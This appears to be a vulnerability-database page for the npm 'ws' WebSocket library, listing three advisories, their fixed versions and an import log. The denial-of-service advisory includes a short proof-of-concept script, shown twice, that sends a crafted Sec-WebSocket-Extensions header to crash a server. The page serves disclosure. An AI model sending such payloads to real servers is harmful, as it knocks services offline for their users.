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Vulnerability	Summary	Fixed by
VCID-4851-mkc2-pqdw Aliases: GMS-2017-331	Denial of Service A specially crafted value of the `Sec-WebSocket-Extensions` header that uses `Object.prototype` property names as extension or parameter names can be used to make a `ws` server crash.	3.3.1 Affected by 1 other vulnerability. This version is affected by these other vulnerabilities: {{ fixed_by_vuln.vulnerability_id }}
VCID-4u5m-kp7t-x3cf Aliases: GHSA-5v72-xg48-5rpm GMS-2019-145	Denial of Service in ws Affected versions of `ws` can crash when a specially crafted `Sec-WebSocket-Extensions` header containing `Object.prototype` property names as extension or parameter names is sent. ## Proof of concept ``` const WebSocket = require('ws'); const net = require('net'); const wss = new WebSocket.Server({ port: 3000 }, function () { const payload = 'constructor'; // or ',;constructor' const request = [ 'GET / HTTP/1.1', 'Connection: Upgrade', 'Sec-WebSocket-Key: test', 'Sec-WebSocket-Version: 8', `Sec-WebSocket-Extensions: ${payload}`, 'Upgrade: websocket', '\r' ].join('\r'); const socket = net.connect(3000, function () { socket.resume(); socket.write(request); }); }); ``` ## Recommendation Update to version 3.3.1 or later.	3.3.1 Affected by 1 other vulnerability. This version is affected by these other vulnerabilities: {{ fixed_by_vuln.vulnerability_id }}
VCID-h5b4-kz93-r7g3 Aliases: CVE-2024-37890 GHSA-3h5v-q93c-6h6q		5.2.4 Affected by 0 other vulnerabilities. 6.2.3 Affected by 0 other vulnerabilities. 7.5.10 Affected by 0 other vulnerabilities. 8.17.1 Affected by 0 other vulnerabilities.

Vulnerability

Summary

Fixed by

VCID-4851-mkc2-pqdw
Aliases:
GMS-2017-331

Denial of Service A specially crafted value of the `Sec-WebSocket-Extensions` header that uses `Object.prototype` property names as extension or parameter names can be used to make a `ws` server crash.

3.3.1
Affected by 1 other vulnerability.

VCID-4u5m-kp7t-x3cf
Aliases:
GHSA-5v72-xg48-5rpm
GMS-2019-145

Denial of Service in ws Affected versions of `ws` can crash when a specially crafted `Sec-WebSocket-Extensions` header containing `Object.prototype` property names as extension or parameter names is sent. ## Proof of concept ``` const WebSocket = require('ws'); const net = require('net'); const wss = new WebSocket.Server({ port: 3000 }, function () { const payload = 'constructor'; // or ',;constructor' const request = [ 'GET / HTTP/1.1', 'Connection: Upgrade', 'Sec-WebSocket-Key: test', 'Sec-WebSocket-Version: 8', `Sec-WebSocket-Extensions: ${payload}`, 'Upgrade: websocket', '\r' ].join('\r'); const socket = net.connect(3000, function () { socket.resume(); socket.write(request); }); }); ``` ## Recommendation Update to version 3.3.1 or later.

3.3.1
Affected by 1 other vulnerability.

VCID-h5b4-kz93-r7g3
Aliases:
CVE-2024-37890
GHSA-3h5v-q93c-6h6q

5.2.4
Affected by 0 other vulnerabilities.

6.2.3
Affected by 0 other vulnerabilities.

7.5.10
Affected by 0 other vulnerabilities.

8.17.1
Affected by 0 other vulnerabilities.

Vulnerability	Summary	Aliases
This package is not known to fix vulnerabilities.

Vulnerability

Summary

Aliases

This package is not known to fix vulnerabilities.

Date	Actor	Action	Vulnerability	Source	VulnerableCode Version
2026-06-01T08:07:54.739224+00:00	GitLab Importer	Affected by	VCID-h5b4-kz93-r7g3	https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/ws/CVE-2024-37890.yml	38.6.0
2026-05-31T09:56:56.627037+00:00	GitLab Importer	Affected by	VCID-4u5m-kp7t-x3cf	https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/ws/GMS-2019-145.yml	38.6.0
2026-05-31T09:41:43.042022+00:00	GitLab Importer	Affected by	VCID-4851-mkc2-pqdw	https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/ws/GMS-2017-331.yml	38.6.0